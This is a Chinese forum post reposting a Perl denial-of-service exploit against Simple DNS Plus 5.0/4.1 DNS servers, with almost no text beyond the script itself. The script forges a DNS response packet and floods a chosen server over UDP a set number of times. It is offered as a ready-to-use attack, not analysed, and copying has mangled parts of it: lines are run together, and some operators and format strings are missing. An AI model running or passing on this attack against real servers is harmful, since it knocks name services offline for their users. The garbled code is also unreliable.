• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    Simple DNS Plus

    发布者: 天下网吧 | 发布时间: 2025-6-28 22:54| 查看数: 56| 评论数: 0|帖子模式

    #!/usr/bin/perl
    # Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
    #
    # usage: sdns-dos.pl <dns server> <dns source port> <num of packets>
    # Exploit written by Exodus.
    # http://www.blackhat.org.iluse IO::Socket;if(@ARGV < 3){
    print("sdns-dos.pl <dns server> <dns source port> <num of packets>");
    }
    $sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server"); $address = $ARGV[0];$trans = pack("H4","1337");
    $flags = pack("B16","1000010110110000");
    $question = pack("H4","0001");
    $answerRR = pack("H4","0001");
    $authorityRR = pack("H4","0000");
    $additionlRR = pack("H4","0000");
    $type = pack("H4","0001"); # A host name
    $class = pack("H4","0001"); # IN@parts = split(/\./,$address);
    foreach $part (@parts)
    {
    $packedlen = pack("H2",sprintf("x",length($part)));
    $address2 .= $packedlen.$part;
    }
    $query = $address2. "\000" . $type . $class;$aname = pack("H4","c00c");
    $atype = pack("H4","0001");
    $aclass = pack("H4","0001");
    $ttl = pack("H8","0000008d");
    $dlen = pack("H4","0004");
    $addr = inet_aton("127.0.0.1");
    $answer = $aname . $atype . $aclass . $ttl . $dlen . $addr;$payload = $trans . $flags . $question . $answerRR
    . $authorityRR . $additionlRR . $query . $answer;print "sending $ARGV[2] packets… ";
    for($i=0;$i<=$ARGV[2];$i  )
    {
    print $sock $payload;
    }
    print "Done. Good bye.";
    __END__


    来源:https://www.jb51.net/hack/5731.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表